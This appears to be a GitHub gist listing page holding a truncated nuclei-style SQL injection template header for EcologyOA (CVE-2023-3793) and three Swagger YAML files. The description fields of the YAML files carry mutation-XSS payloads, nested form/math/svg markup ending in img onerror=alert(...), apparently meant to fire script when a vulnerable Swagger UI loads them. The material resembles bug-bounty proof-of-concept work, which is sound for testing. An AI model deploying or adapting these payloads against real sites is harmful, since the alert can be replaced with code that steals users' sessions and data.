nav1n ifconfig-me

🎯

Focusing

ifconfig-me / CVE-2023-3793.yml

Created December 25, 2023 18:40

	id: ecology-oa-filedownloadforoutdoc-sqli

	info:
	name: EcologyOA filedownloadforoutdoc - SQL injection
	author: unknown
	severity: critical
	description: EcologyOA filedownloadforoutdoc interface has SQL injection
	tags: ecology-oa,sqli

	requests:

ifconfig-me / json

Created December 13, 2023 20:39

	swagger: '2.0'
	info:
	title: Classic API Resource Documentation
	description: \|
	<form><math><mtext></form><form><mglyph><svg><mtext><document.domain><path id="</document.domain><img onerror=alert('document.domain') src=1>"></form>

	version: production
	basePath: /JSSResource/
	produces:
	- application/xml

ifconfig-me / gist:51b579682418236fad660abf1e1d82e6

Created December 13, 2023 20:38

	swagger: '2.0'
	info:
	title: Classic API Resource Documentation
	description: \|
	<form><math><mtext></form><form><mglyph><svg><mtext><document.domain><path id="</document.domain><img onerror=alert('document.domain') src=1>"></form>

	version: production
	basePath: /JSSResource/
	produces:
	- application/xml

ifconfig-me / xss.yaml

Last active September 23, 2022 21:40

	swagger: '2.0'
	info:
	title: Example yaml.spec
	description: \|
	<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
	paths:
	/accounts:
	get:
	responses:
	'200':